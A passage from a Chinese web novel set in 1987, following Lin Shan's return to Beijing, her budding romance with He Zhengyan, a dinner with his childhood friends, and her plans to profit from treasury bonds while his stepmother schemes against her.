这个年代的人还没有买瓶装辣椒酱和肉酱的习惯，更没有买瓶装咸菜的习惯。林珊算想卖这些的话，光成本就决定了暂时只能走稍微高端的路线。 所以为了进一步压缩成本和丰富口味，香料迫切需要再拓展出来一条新的渠道。赵福得亲自去一趟川省才行，虽然有安河本地的香料商牵线作保，但是自己人必须实地考察一下才能放心。 要做的事很多，一口也吃不下一个胖子，林珊暂时把下一个阶段的工作安排好后，如期踏上了回京市的火车。 四月底的京市可比林珊刚出来的时候暖和多了，别看只有短短的一个月，街景却已经不大一样了，到处生都机盎然的，再加上这两天升温，有那爱漂亮的小姑娘都穿起长裙子了。 林珊提着箱子走到出口，还没开始找人，眼前就出现了一只大手，“行李给我。” 林珊倏地抬头，对上贺正岩熟悉的笑脸后，第一感受除了开心，就是他这段时间瘦了。 “我还行，你瘦得更多。”贺正岩提好行李，腾出另一只手牵住林珊，不错眼珠地上下打量她，整个人是既开心又心疼。 林珊被瞧得有点儿不好意思，小声提醒他看路。 贺正岩笑了，紧紧地握住林珊，快速把人领到了车上。门一关，他也不发动引擎，反而继续侧着身子看她。 “好啦。”林珊挡住脸，轻轻推了他一把，贺正岩这才坐直身子开车上路。 路上，俩人闲聊着最近在忙的事儿。虽然在电话里已经大致说过了，但见了面还是想要分享一些细节。 “其实我也知道这个时候卖肉酱和辣椒酱会比较困难，但还是想试试。”毕竟将来酱料会发展成为一个几百亿的市场，占领先机很重要。 贺正岩虽然不懂做生意，但他吃过林珊做的香菇肉酱，也吃过大姨跟舅舅带回来美式罐头和辣酱，“味道不如你做得好吃，还能卖那么好，说明这一类的东西很受人喜欢，我看好你发展这个。” 林珊笑了，“谢谢支持。” 贺正岩趁着红灯又好好看了她一会儿，想着既然已经谈到了大姨，就顺着话题把自己家的情况汇报了一遍。 “……我爸妈离婚的时候，我还不怎么记事儿，根本不懂那是什么意思。再加上我从出生就一直跟着爷爷奶奶生活，所以他俩离婚，对我基本没造成什么影响。照旧一年半载见上一面，买一堆好吃的好玩儿给我，然后再被我爷爷奶奶没收。” 贺正岩说到这儿笑了一下，估计是想起了当时的场景。 林珊看着他这副样子，突然有点羡慕。尽管童年父母缺位，但是爷爷奶奶无条件的爱充分滋养了他。看着这个已经长大成人，又被祖国培养的这么出色的英俊青年，林珊要是贺老爷子，恐怕得骄傲坏了。 “那你爸什么时候再婚的？”她记得他提过一嘴这事。 贺正岩收敛笑意，淡淡地说道：“没两年就再婚了，我弟弟比我小四岁。” 林珊不想阴谋论，但是，“你爸他该不会是——” “没有。”贺正岩知道她想到哪儿了，解释道：“我爸不是那种人，跟我妈是和平分手的。而且……”他犹豫了一下，才低声说：“我爸心里最喜欢的，应该还是我妈。” 林珊消化了一会儿，“……所以是阿姨提出的离婚？” 贺正岩也不知道，父母没说，他也没问。家里的亲戚更不会跟一个小孩儿说这些，等他长大了之后也就更没有必要了。 林珊：“你不好奇吗？” 贺正岩笑了，“还行，我只要知道怎么避免失败就行了。我妈说女同志喜欢温柔体贴的男士，虽然我目前做得还不够好，但是你放心，我一定会尽快达标。” “……”林珊被他说着说着突然认真严肃起来的模样逗笑了，看着他眼里的真挚和坚定，心里不自觉地柔软起来。其实更准确地说应该是一见到他，心脏那地方就会变得柔软，会莫名得开心，说些简单的家常也觉得快乐。 贺正岩见她开心，忍不住握紧了她的手，“过几天抽个空，跟我发小他们正式吃个饭吧。” 第105章 第105章 回京返校 “好啊。”林珊早想认识一下他的朋友们了。 之前京市包子铺开张的时候, 贺正岩就叫了很多人来捧场，有男有女，有老有少。她当天非常忙, 只知道大家都是他叫来的亲朋好友，但是具体谁是谁完全不清楚, 一直处于“人家都知道她是谁，她却不知道对方”的阶段。 贺正岩挺高兴的, “那我看看哪天合适。” “好，你做主吧。”林珊最近基本也都是学校的事, 中关村的包子铺被店长杜丽管理得有模有样, 没什么需要特别担心的地方。 虽然她打算年底前在京市开一家服装店，但也不急这一时。 从火车站到学校的路不算远, 贺正岩把林珊送到学校后, 还是舍不得放她走, 可惜他今天下午还有事儿要忙，耽搁不得。 林珊笑着跟他拜拜, 约好后天下午在老科研所的房子里见面。 后天下午她没课, 去看完包子铺之后, 正好能把租的房子收拾一下，然后再好好跟他吃顿饭。 贺正岩对这个安排非常满意，心情愉悦地回到单位，立刻又变成了严肃认真的贺同志。 林珊时隔一个月再回到学校，一进宿舍就受到了徐青和陈小娟热烈欢迎。两人围着她问东问西, 好一通热闹。 林珊这次带了不少衣服, 准备送给这几个关系要好的朋友。大家都是正值花季的小姑娘，就没有不爱漂亮的，顿时就在宿舍开启了试装大会。 “好漂亮啊！诶, 你们俩看我像不像‘大众电影’封面上的女明星？”陈小娟照完镜子，自信满满地走了两下模特步，“怎么样？我再把头发都盘起来，有没有样儿？” “有，太有了！”林珊和徐青非常捧场，呱呱鼓掌。 陈小娟笑着拉她俩来一块儿走模特步，一时间三人又笑又闹。 林珊不在的这一阵子，徐青和陈小娟俩人隔三差五就往包子铺里跑，俩人悄悄告诉林珊这是为了替她看好产业，万一店里的人不好好干活，或者胆子大到捐款跑路怎么办？ 林珊当时在电话里听得是又感动又想笑，同窗同寝的情谊就是不一样啊。 徐青是建筑系的，陈小娟是学自动化的，两个人对 未来虽然没有特别清晰和明确的规划，但留在京市分配一个好部门，却是大家的共识。 林珊现在不可能请她们跟自己一块儿创业，毕竟人各有志，而且祖国建设也需要各行各业的人才。不过如果将来她们有这个想法的话，林珊一定非常欢迎。 如果说跟徐青陈小娟是纯友谊，那林珊对排球队的师姐李倩，就是一大半友谊一小半结交的状态了。 下午在老师面前刷了刷脸，又考了一个小测试之后，林珊就去找李倩了。 上次包子铺工商注册的事情人家帮了很大的忙，林珊自然要有所表示。这次给她带得是一套薄春装和一件连衣裙，衣服才刚拿出来，李倩眼睛就亮了。 “我的老天爷啊！”不仅李倩惊呼，她宿舍的师姐们也一个个都围了过来。 “妈呀，好洋气！” “我的天呐，你们看这连衣裙的料子！” “哇，林珊你家也太厉害了，连这种衣服都能弄过来！还有没有？我想买！” 林珊笑着摇头：“暂时没有了，不过年底之前我们会在京市开店的，到时候欢迎大家去捧场。” “真的？！”李倩正试着衣服，瞬间更激动了，“开在哪儿啊？我一定天天去！” “就是就是，我也要买！” “我也买！林珊，你家可真厉害啊！”一个去中关村买过林珊家包子的师姐，佩服地竖起了大拇指。这林家不仅包子做得一绝，连衣服都弄得这么好看！实在不简单！ 林珊赶紧谦虚了两句，解释了一下目前服装店还在考察门店的阶段，等一切都准备好之后再告诉大家。 小姑娘们都爱美，当下还想提前跟她订货，林珊被围堵在墙角，实在盛情难却，只好先一一记下了。 京市开服装店的事，林珊准备六月中旬再正式启动。一来是现在公司的人手有一半在忙着建厂，二来她也需要继续在京市建立一下人际关系。 服装店跟包子铺不同，投资更大，除了日常的店面经营外，还要不断上新，树立品牌形象，建立客户体系等等，就算她执行力再强也没有三头六臂。 不过幸好安河那边一切都在稳步进行，粤城那里阿英进展得也相当顺利，才能让她有功夫继续开疆扩土。唯一有点遗憾的是，之前靠好全家四月份来京市旅游的事儿，看来要往后挪了。 再过两个半月，林珊穿到这个世界就整三年了。从小破屋到小院子，从欠一屁股债到如今两家公司，五家直营包子店，十二家加盟店，和一家中型服装店。 从娘仨每天推着自行车出去摆摊，到现在拥有五十几名员工。最近这几个月抛除所有开支，平均每月账面盈余更是达到了五万多元。 赵桂花天天乐得合不拢嘴，直呼可以了可以了，让林珊别再到处奔波忙着挣钱了。但是这钱看着多，实际年底一分红一发福利，落到每个人手里也没有多少。 而且做企业的，哪有不在账面上留备用金的。更别说她还想买房，买国债，买股票，买地皮进军房地产呢。这点儿钱哪够。 次日上完课后，林珊去包子铺看了看。这两个月铺子的生意一天好过一天，每天都大排场龙。店长杜丽都顾不上跟林珊多说两句话，就赶紧忙着招呼客人去了。 林珊前阵子电话里跟杜丽说过让她再招两个服务员，看来也上岗了。瞧这利索劲儿，就知道培训得很到位。视察了一圈见一切都井井有条后，林珊收好账本就离开了。 其实她不在京市的这一个月，是对杜丽的能力和人品的考验。陈小娟她们担心店里的人，趁她不在的时候会不老实的问题，林珊不是没有考虑过。 只不过她离京之前留给杜丽的开支有数，杜丽上个月汇到她账上的钱也有数，多少钱做多少包子，能接待多少客人，她心里一清二楚。再加上开业的时候贺正岩来得那帮亲朋好友坐镇，不仅店里人心里有数，就是周围的商铺也都很明白，这家店是有门儿的。 更何况杜丽刚才还跟她说，贺正岩这一个月也没少来。 林珊知道他这是在为自己操心，可前天见面之后却什么都没说。想起在安河出事的时候，他找了省城的杨大领导帮忙，同样也一声没吭。 想起贺正岩，林珊心里就暖呼呼的，离开包子铺后，她直接骑着自行车飞奔到了老科研所的房子。 原本还想着要细细打扫一下，结果一进屋就发现里面几乎一尘不染。 林珊坐在沙发上笑了，他前天还说自己不够体贴，要继续努力呢。跟他一比，她简直就是个极不称职的女朋友。 为了表示自己的心意，林珊特地出去买了一趟菜，炖了个排骨，做了个狮子头，另外还煎了条鱼，唯一带点儿素的，是韭菜炒鸡蛋。 原本她还准备再做个汤，可是还没来得及贺正岩就来了。 一进门见她弄得这么隆重，几个菜都是他爱吃的，贺正岩高兴之余，赶紧把她围裙解了，“行了行了，可以了，就咱们俩人，做多了吃不了，而且我也不爱喝汤。” 林珊就这么被他推出了厨房，按到椅子上就坐。 “我第一次做狮子头，不知道好不好吃。”她笑着让他先尝尝。 对贺正岩来说，这会儿就是砒霜他都觉得是人间至味，更何况她手艺本来就好，狮子头一入口，他立刻竖起大拇指：“好吃，比鸿宾楼做得都好！” 林珊笑着嗔他一眼：“夸张，我这水平还能跟人家的大厨比啊。” 贺正岩一本正经：“别说鸿宾楼，就是国宴的厨子也不如你做得好。” 林珊受不了了，“好啦。” 贺正岩笑了，吃了口鱼，又开始夸她：“这鱼也是，皮香肉嫩，火候跟味道都特别好。” “……”林珊服了，以前怎么没发现他有这么多花言巧语呢。 贺正岩把桌上的菜全都夸了一遍后，突然握住林珊的手，正色道：“不开玩笑，确实特好吃。而且这都是你专门给我做的，我能不激动吗？” 激动什么？“以后常给你做就是了。” 贺正岩笑了，看着她白里透红的小脸，水汪汪的眼睛，心里一冲动，伸手就把她搂怀里了。 搂着之后，俩人一动不动。 林珊没想到他第一次拥抱自己，居然是坐着的，两人手里还都拿着筷子。画面有点尴尬，有点好笑，又有点暧昧。 尽管姿势不合适，手里也有筷子，但是没搞过对象的就是没搞过对象，只要单纯地贴近彼此，心脏就会很不争气地加速跳动。 心跳一快，人就紧张，一紧张，空气中就开始弥漫出不一样的味道。 贺正岩抱住林珊之后，整个人都僵了。身体僵，脑子也僵，只剩下本能的反应，满脑子都是她真香、真软乎…… 当年在战场上，他有几次死里逃生，靠得都是本能的反应，所以在这种关键时刻，他也选择遵从了本能。趁着林珊还没有反应过来之际，他迅速一个侧头，非常精准地亲了她一口。 第106章 第106章 见见家长吧 林珊有点儿懵。 后知后觉地眨眨眼, 发现贺正岩正在紧张地看着自己，那表情像是在思考要不要继续亲。 林珊赶紧红着脸推了他一把，用极小地声音提醒他：“吃饭。” 贺正岩听话地退回去, 先是略显尴尬地清了下嗓子，跟着脸上就全是止都止不住的笑意。 林珊嗔他, 他还笑。 没办法，就是开心, 日思夜想了这么久，终于亲到真人了能不高兴吗。 林珊被他看得有点儿羞窘, 嗔也不管用, 只好夹菜给他，一筷子又一筷子的, 不一会儿他面前的碗就装满了。 贺正岩乐着全都吃了, 边吃还边盯着林珊细细地看, 直到被她踢了一脚，这才稍微收敛了点儿。 林珊为了消除一些空气中飘荡的粉红泡泡, 开始问他一些有的没的。 贺正岩对她是有问必答, 不一会儿功夫, 连祖上有多少家产都报出来了。 林珊听得目瞪口呆，“所以你妈妈家才是真正的大户啊。” 贺正岩笑了，“我爷爷是当年打仗打进来的，我姥爷家祖祖辈辈都在这儿。” 姜家祖上根基深，姜老爷子年轻的时候就在外头留学, 生的几个孩子也都在国外受的教育, 后来建国之后他才回来报效祖国，家里唯一跟他一样热爱科学又极具天赋的，就是贺正岩的妈妈姜春荣。 贺正岩的大姨和舅舅目前都在美国, 一个是全职主妇，一个经营房地产生意，生活过得都很不错，虽然国家有事的时候他们都会捐款捐物，但是并没有什么想要回来的想法。 姜老爷子在这几个孩子里，最偏爱的就是姜春荣。所以国内的这些祖业产，包括早年被没收，后来又都还回来的那些，全部都留给了姜春荣跟贺正岩。 可惜这母子俩，一个常驻大西北，一个扎根部队，都无心于此。后来姜春荣就把大部分家产都捐出去搞科研了，只留着老宅和当时分配的房子。 林珊听到这儿，险些流下羡慕的口水。果然有些人毕生追求的，是有些人与生俱来的啊。 “我妈那天电话里说了，她还留着一些首饰，说……说等咱们结婚的时候送给你。”贺正岩笑得有点儿不好意思。 林珊听得也有些羞窘，赶紧岔开话题，“阿姨今年什么时候回来？” 贺正岩摇头，“说不准，不过听我妈话里的意思，她大概快完成任务了。” 林珊明白了，完成任务估计就不用常年扎根西北了。说实话她还是很希望姜阿姨能回来的，于公，这意味着项目顺利攻克了难关。于私，阿姨在京市的话，贺正岩住的地方也能更像个家。 林珊能感觉出他不爱去他父亲那儿，虽然他没明说，但是这种事儿一个语气就能意会了，而且换成是她，也不会想去看着亲爹跟继母继弟一家人是有多和谐亲密的。 “我爸那天说让我把你带回去认识一下。”贺正岩边说，边夹了块排骨给林珊。 “我都可以啊。”这个年代不像后世，谈恋爱比较自由随意，现在很多人的对象都是父母或者熟人介绍的，不太存在什么避着父母一说。况且林珊早见过姜春荣了，贺正岩更是对她一家人都无比熟悉。 贺正岩算了算时间，“那我安排下礼拜？” “好的。”林珊这阵子的事儿其实不算少，要去打听一下国债券怎么买，要跟他朋友吃饭，还要去见他爸爸，另外还有不少作业要完成。 贺正岩感觉她安排得比总理都满，笑着问：“现在都准备买国库券了？” “先了解一下，积攒一点儿人脉。”由于87年这会儿，国债交易市场还没有正式开放。所以就算这时候买了，也没什么太大的套利空间。现在先趟趟路为明年做准备。 目前她公司账上的钱，除了留出一部分备用金，剩下的不能放在银行吃死利息。存款利率这年头才5.2%左右，虽然跟后世比很高，但是在这种遍地是黄金的年代，5点多的息可太没有看头了。 林珊必须要保证这笔用来投资的钱，获得的利率要远大于贷款利率，不然她付那10%的利率贷款干嘛，自己账上又不是没钱，直接拿来建厂就好。 正是由于国债、股票、房产、地皮、古董……这些东西的投资回报率更高，所以才要贷款解了自己的现金套，去买些真正值钱的东西。 其实从85年开始，大城市就可以购买国库券了。只是数额不多，知道的人也比较少。等到88年四月份正式开放之后，像京市、沪市这种大城市的国库券，全部都会被一抢而空。 然而大城市受欢迎，其他省会城市的国库券，却不怎么卖得动。 各家银行对国库券的任务焦头烂额，国债市场的开盘价和收盘价远低于大城市，甚至收盘价还常常低于国库券的实际面值。 那既然城市之间有差价，也就意味着有巨大的套利空间。 林珊在后世的时候看过新闻，说当年有人倒买倒卖国库券，一年就能赚到上百万。她吭哧吭哧到处忙活，搞了这么一大摊子，还没人家一年挣得多。资本市场就是资本市场。只要她有机会入局，必然会大举投入。 除了盯准国债的商机，等过两年沪市和深城的股市陆续开放之后，林珊还要大量购买后世那些绩优股。所以现在不抓紧时机累积资本是不行的，时不我待啊，更何况她连房子都还没买呢，地皮也一块儿都没有呢。 “我回头介绍个朋友给你认识。”贺正岩以前在大院的那些朋友，如今干什么的都有，可以说各行各业都能找到认识的人。 林珊眨眨眼，感觉非常奇妙，真的是打瞌睡就有枕头啊，她忽然就有点儿理解那些奋斗累了，随便找个富豪结婚的女明星了。 “谢谢。”她笑得温柔可爱。 贺正岩很喜欢她这样，忍不住伸手过去帮她理了理头发，还想再亲亲她。 可惜被林珊发觉了，直接夹了块儿鱼催促他赶紧吃。 两人这顿饭从傍晚吃到天黑，林珊再不回去就要被锁到宿舍楼外了，贺正岩这才依依不舍地护送佳人返校。 然而好巧不巧，这甜蜜温馨的一幕，被张丽丽看了个正着。 原本她想上去跟贺正岩打个招呼，但到底还是记得家里跟她说过的话，没敢上前。不过次日等她上完课回到家，正跟亲妈嚼舌根的时候，姑姑突然登门了。 张秀英很喜欢张丽丽这个外甥女，所以对她很宽容，“丽丽啊，学业要紧，可不能因为这些小事耽误学习。正岩要喜欢谁，咱们谁都挡不住，你就不要操心了，知道吗？” “知道了。”张丽丽老老实实地坐好，一副小辈受了教训的模样。 张秀英前一阵子已经听启明说过这件事了。惊讶之余，更多的是开心。贺家所有人引以为傲的儿子，居然被一个品行不端的小丫头给迷住了，这事儿不大，但一向对贺正岩期望过高的贺振华，一定会很失望。 要是贺正岩再因为这小姑娘闹出点儿什么事儿，恐怕这个失望还会更大。 张秀英自认不是那种恶毒的后妈，从来没想过要虐待继子，但是她的儿子明明样样优秀，凭什么要一直活在贺正岩的光环下头。 这事儿她让娘家所有人都不许吱声，就是盼着贺正岩再对那姑娘着迷一点儿，这样事发的时候，才能让贺振华睁大眼好好看看，他跟姓姜的生得这个宝贝儿子，到底是个什么德行。 在张家喝了会儿茶之后，张秀英就回家了。保姆告知她周秘书打电话说领导今天不回来吃饭，请她不要等了。张秀英落得清静，还能吃些自己爱吃的，省得贺振华在家，她只能吃点儿稀饭和小青菜。 张秀英让厨房做了红烧排骨和葱烧海参，配着东北送来的米饭，吃得舒心惬意。饭后，保姆又端来养精蓄锐的花茶和新鲜的大樱桃。 张秀英一边品茶，一边看书，不时还跟着卡带机里的英文歌哼上两句，惬意得不像个无产阶级革命者，倒是颇有几分旧社会资本家小姐的做派。跟她靠着枪杆子进京的爹娘，完全不搭噶。 品完了茶，见贺振华还没回来，她就去洗 了个澡，抹上弟弟送的国外雪花膏，对着镜子查看自己容颜。 看了会儿，她突然有点儿伤感，到底还是老了啊。也不知道那姓姜的现在什么样了，常年在西北待着，一定搞得皮糙肉厚。 “秀英？” 贺振华的声音突然从门外传了进来，张秀英立刻收敛好情绪，起身去迎接他。 贺振华看上去很高兴，一边脱外套，一边大声宣布：“正岩下礼拜三要带对象回来，你好好准备一下。” “真得？！”张秀英瞬间比贺振华还要开心。 贺振华笑了，“这还有假？这小子真出息，之前说要一两年才能解决个人问题完全是在谦虚，这不你看，这才多久就已经能把人领回家了。” 张秀英笑着点点头，一副真心为贺正岩感到开心的慈母模样，赞美之词毫不吝啬，“咱们正岩多优秀啊，打着灯笼都找不着这么好的小伙子，周围有不喜欢他的姑娘吗？” 贺振华哈哈笑，这倒是，他儿子一向优秀。 张秀英瞧着贺振华这一脸的开心得意，真恨不得赶紧到周三，好让他亲眼看看他的好儿子看上了个什么“好姑娘”。 想到这儿，张秀英决定把贺启明和林兰都叫回来，有些事儿需要当场戳穿，有些脸皮要当众撕破！ 第107章 第107章 发小聚会 林珊不知道自己下礼拜见家长的时候, 还要面临一场大戏。 她这两天先是把作业做完，处理了一些公司的事，然后就去跟贺正岩的发小们吃饭了。 这是她第一次去贺正岩家, 也是第一次来到部队大院。 前世在影视作品里看过很多关于大院的青春故事，肤浅地了解过一些这里面的酸甜苦辣, 这会儿真实地踏进这片土地，第一感受居然是好大、好宽敞。 银杏树又粗又高, 主路跟外面的马路差不多宽，楼房一排排都是, 小花坛, 大礼堂，食堂, 澡堂, 供销社, 卫生所……真是应有尽有。 贺正岩一边开车，一边介绍大院, 把他小时候在哪儿打架, 在哪儿挖坑刨土, 在哪儿玩儿水等等，说得清清楚楚。 林珊听得直笑，看得出来他心情很好，也明白他对这地方的感情是真得很深。 “咱先到家里坐坐，等时间快到了再过去。”贺正岩边说, 边把车拐向了西侧。 林珊点点头, 立刻就察觉到这片地方跟刚才的不同，突然再次出现了岗哨，而且这里安静多了, 树也更多，穿过一片小湖之后，几座独栋小楼终于缓缓地现身了。 贺正岩把车开到最左边的那栋小楼面前，高兴地打开大门，做了个有请佳人的姿势。 林珊迷迷糊糊地踏进院子，稀里糊涂地进了屋，看着这客厅里又是沙发，又是电视的，突然觉得自己脑子里贺正岩夜里独守空房的戏码，有点儿过了。 要是有这种空房，她愿意独自守着。 全屋高档木质装修，精心设计的摆设，还有外面那个沁人心脾的花园…… 林珊直到这一刻才真真切切地体会到什么叫高干子弟，她忍不住打量起贺正岩来，满脸的表情都写着：命真好。 贺正岩刚给她倒好水，一抬头见她这副样子，“怎么了？” 林珊摇摇头，接过水喝了一口压惊，“我知道你家庭条件好，但是没想到这么好。” 贺正岩怔愣过后，笑了，不知道该说啥，他确实就是这么一个出身，客气倒显得假了，不过他还是稍微解释了一下。 这房子是贺老爷子进京之后就一直居住的地方，这里都是他的老部队，老战友。又往上升了之后，他也没有去更好的地方住。一直到老爷子去世，部队为了纪念他，决定把这房子保留了下来，没有再分配给其他领导。 就这样，贺正岩算是能一直有个家，即使家里的人已经没了，但只要这地方在，他也好，父亲和二叔也好，就都有一个念想。 当然贺正岩也明白，这个保留里面多少有父亲和二叔影响的成分。但不管怎么说，现在就是这么一个局面。为了尽量不搞特殊化，贺正岩主动申请取消了公务员、警卫员、保健医生等一系列配置。 所以这也是为什么其他小楼门口都有哨兵，独独这里没有。 林珊轻轻点头，她听明白了，物是人非，但又没彻底非。 “我刚回京现在还没分房，不过你放心，马上就快了。”贺正岩突然又补充了这么一句。 林珊忍不住笑了，她也没问这个吧，瞧他一脸的期盼和高兴，好像马上要分婚房了似的。 不过，就他这个家庭成员的构成情况，如果俩人将来真结了婚，感觉日子应该也会比较清静的。亲戚天南海北，父母也都忙得见不到人。 今天吃饭的地点是在贺正岩发小顾康的家里，一块儿来的还有他另一个发小卢学军和他爱人。 林珊知道三个人感情很好，从开裆裤时期就开始的友谊，到如今另外两位都已经娶妻生子了，用贺正岩自己的话说，“大家依然是肝胆相照的好兄弟”。 贺正岩刚把车停到顾康家楼下，就听头顶上传来喊声：“来了！来了！” 紧接着顾康、他爱人沈月，还有卢学军和他爱人梁小慧，竟然通通都跑了下来，团团把林珊和贺正岩围住，无比热情得迎接客人。 “这这这、这也太漂亮了！我的老天爷啊！”梁小慧兴奋地拉住林珊，上看下看左看右看，嘴巴都张开了。 她也是大院子女，跟这哥儿几个又是从小就认识了，说起话来更肆无忌惮一些，惊叹完林珊的漂亮，紧接着就开涮起贺正岩来，“哥，我就说你这么多年为什么谁都看不上，原来是在等仙女下凡啊！” 众人笑了起来，林珊红了脸，贺正岩倒是一副很坦荡的模样，还附和道：“窈窕淑女，君子好逑。” “哈哈哈哈！”梁小慧开怀大笑，佩服地竖了个大拇指，真心为他感到高兴。 “好了，咱别站这儿聊，上楼上楼。”顾康笑着把林珊和贺正岩往家领。 一进门，大家少不了一顿相互介绍。 林珊之前就听贺正岩简单说过他们的情况，知道顾康在军事学院教书，沈丹在报社，是沪市人，来这儿上大学的时候，经人介绍认识的顾康。两人的女儿琳琳今年刚四岁，白白净净的，还有点儿小胖，看着特别可爱。 卢学军跟梁小慧则从小就住一个院儿，属于欢喜冤家的那种，两人都在部队服役，儿子今年也快两岁了。 这么看来，三个人里就贺正岩进度最慢，才刚刚找着对象没多久。 对于林珊，他们的了解都来自贺正岩。虽然只知道一个大概，但心里还是忍不住竖起大拇指来。 不仅能以省状元的身份考上清大，生意还做得特别红火，中关村包子铺开张的时候，他们已经见识过那红火的场面了。一个毫无根基的小姑娘，靠自己走到今天这一步，实在让人佩服。更别说人家还长得跟天上的仙女似的，正岩真是有福了。 沈丹很喜欢林珊，饭菜上桌后，一直在招呼她多吃点儿，“这螃蟹是我们家的拿手菜，来尝尝。” “对，还有这个辣子鸡，川省的名菜。”梁小慧也笑着介绍起来，这做法是她教给沈丹的。之前她跟卢学军驻扎在川省军区，学了不少川菜。 “诶，好的。”林珊赶紧用碗接过螃蟹和辣子鸡，笑着谢过两人。 贺正岩知道她可以吃辣，但不确定能不能适应川省的辣度，于是把茶放到她手边。 这一幕，恰巧被卢学军看见了，他忍不住笑道：“果然这一有对象，照顾人的本事就自动上来了啊，是吧正岩？” 贺正岩：“吃的你吧。” 卢学军和顾康对视一眼，瞬间哈哈大笑。没办法，谁处对象谁被调笑的老规矩不能变，他俩可是已经先经历过了，好不容易轮到贺正岩，怎么可能轻易饶了他。 几人有说有笑地吃着美食，一会儿聊到小时候的事，一会儿谈到如今的社会问题，不多会儿又扯回部队分房子的事儿。 林珊很喜欢贺正岩 这些朋友，不管是他的发小，还是发小的爱人，性格各异，但都是很好相处的人，还很有幽默感，又很懂得照顾人。 就连顾康的女儿琳琳，都可爱的让人不想撒手。 小丫头很喜欢林珊，一开始还在妈妈旁边坐着，后来吃着吃着就跑她身边来了。小脑袋一歪，话也不说，就是看着她笑，边笑还不忘吃口鸡腿。 林珊最喜欢这种胖乎白嫩的小孩子，吃饭省事儿又干净乖巧，简直就是她的梦中情娃，她赶紧腾出个位置给小妞妞，开始剥虾给她吃。 琳琳喜欢漂亮的姐姐，也喜欢吃虾，窝在林珊旁边吃吃喝喝的，那叫一个自在，任凭妈妈怎么叫都不肯回去。 贺正岩在旁边看得嘴角不停上扬，幻想着以后他们要是有了孩子，她肯定会是个特别温柔的好妈妈。 吃过了饭，大家又开始喝茶吃水果。 贺正岩之前说要给林珊介绍一个能买国库券的，这人正是顾康的表弟刘鹏飞。他之前就让顾康约了刘鹏飞下午过来，这会儿应该在来的路上了。 刘鹏飞在银行上班，平时手头紧的时候还会偷偷倒腾一下各种券，赚点小外快，认识不少这行的人。他挺准时的，说三点到还就真卡着点儿来了。明明是的表弟，见到贺正岩却一副碰上领导的拘谨模样。 贺正岩问什么，他答什么。听了会儿明白过来是正岩哥的对象要买国库券，瞬间松了口气。 “哎呦哥，你吓死我了，我还以为我又犯什么错误了。”刘鹏飞人胖嘴馋，小时候还爱到处搞破坏，没有少被其他人收拾，贺正岩的那帮兄弟们帮他打过不少架，同样也揍过他很多次。 猛得一听说贺正岩找他，吓得刘鹏飞真以为自己又犯什么事儿了，还好只是想买券。 “买国库券好啊！我们银行正愁任务完不成呢！嫂子你要多少？”刘鹏飞欣喜地看向林珊，仿佛遇见了财主。 林珊被他这声“嫂子”给弄得后背发痒，但很快就佯装无事地说：“想先跟你了解一下情况。国库券还是很难卖吗？” 提起这个刘鹏飞就叹气了，跟前两年刚出来的时候比，是稍微好卖了一点儿，但架不住今年给的任务多啊，懂这些的大户再能买也搞不了多少。普通老百姓一听最多的利息的要好几年才能兑钱，基本都摇头走人了，存死期不比买这个好啊。 林珊听明白了，看来明年四月要放开市场的消息还没有露出来，“必须走正价吗？能给便宜一些不？” 这年头买国债的人少，国家都需要给各大企事业单位下派任务，他们买的价格可是比面值低的。银行这边不知道能不能谈。 第108章 第108章 国债的门道 刘鹏飞一听林珊有意愿要买, 立刻激动地说：“能！嫂子你要买的话我一定帮你谈到最低！” “方便说一下你们今年还剩多少任务吗？”林珊想趁着明年正式开市前先低价买入一些，因为她记得后世报道里记载过国债市场开市当天就暴涨。 届时趁着暴涨再卖出去，跟着再跑去其他省市大举购入更加便宜的国库券, 反向卖回给国库券紧缺的大城市银行，这样反复套利, 倒买倒卖。 这种商业模式在后世看来一点儿都不高深，但是在八十年代这个全国平均月工资只有不到40块的环境下, 足矣赚的盆满钵满了。 而且最关键的是，这样做并不犯法。当年最出名的那个靠倒卖国库券的“百万大哥”, 就是活生生的例子。他干了一阵子后内心惶恐不安, 主动上报了自己在做的事儿，结果一通调查和沟通下来, 发现不但不违法, 而且还不需要补税。 从后来者的角度看, 都明白是因为那个时候金融证券类的法律法规不完善，并且国家正处在改革开放的关键时期。一切能促进资本流通, 提高市场活跃度的行为, 原则上都是鼓励的。 听说当时这位“百万大哥”的事迹还上了报纸, 吸引了一大批投机人士入场。 林珊不想上报纸，她只想安安静静地挣钱。不过要搞起这一摊子，就需要找到称职的合伙人。这也是她现在想要提前接触一下这个市场的原因。 刘鹏飞一听林珊这么问，立刻察觉到她可能要买得多，瞬间跟打了鸡血似的, 一口一个“嫂子”, 叫得那叫一个情真意切，没多大会儿就把自家支行的情况给说了个一清二楚。 林珊听完心里有了个数，感谢完刘鹏飞之后, 并没有开口说要买多少。 刘鹏飞顿时那叫一个煎熬，一会儿看看嫂子，一会儿看看大哥，一会儿又看看他亲表哥。他捏不准林珊什么来头，不过能当正岩哥的对象，条件一定不会差到哪儿去。 “……那、那行，嫂子你先考虑考虑，需要买的时候，你随时叫我就行。”说着，他从自己的小皮包里拿出纸币，写了一套联系方式，有家里的电话地址，也有单位的电话和地址。 林珊礼貌地收了，这会儿满屋子人，不适合谈生意，而且她也需要继续跟贺正岩打听一下这人的情况。毕竟她不是只想简单买点国库券就完事了，以后想要长久合作，必须找一个精明能干同时人品也靠得住的人。 傍晚聚会散了之后，林珊把自己的打算跟贺正岩说了。 他想了想，“刘鹏飞本性倒不坏，成家之后比以前靠谱多了，不过既然想长期干，你又没时间盯着，还是再找个人一块儿做妥当点儿。” 林珊明白了，“你身边有什么人推荐吗？” 贺正岩还真有，“一个小兄弟，家庭条件不太好。”他拿出电话本打了个电话，不大会儿一个小伙子就匆匆忙忙赶过来了。 这人高高瘦瘦的，一张娃娃脸，看着岁数比林珊还小。又是一个见了贺正岩跟见了领导似的小伙子，大名叫闫超。知道林珊是大哥的对象之后，也跟刘鹏飞一样，一口一个“嫂子”。 这闫超别看脸长得小，实际只比贺正岩小三岁，他不是大院子弟，儿时在外头打架的时候被贺正岩救了，从此就单方面认了这个大哥。闫超为人踏实、能吃苦，媳妇儿又刚怀孕，正愁怎么多挣些钱来贴补家用。 三人简单聊了一会儿，林珊没提任何做生意的事儿，贺正岩也只告诉他大家认识一下。闫超人不傻，聊了会儿大概能猜出来，可能是有什么事儿想让他干，这会儿不说，应该是还不到时候。 闫超其实也不知道自己能为贺正岩做些什么，毕竟要不是小时候的渊源，他根本就不可能认识人家。说他傻也罢，精也好，反正只要是贺正岩让他干的事儿，他连原因都不会问，直接闷头就会去干。 认了人，很快也到了返校的时间。 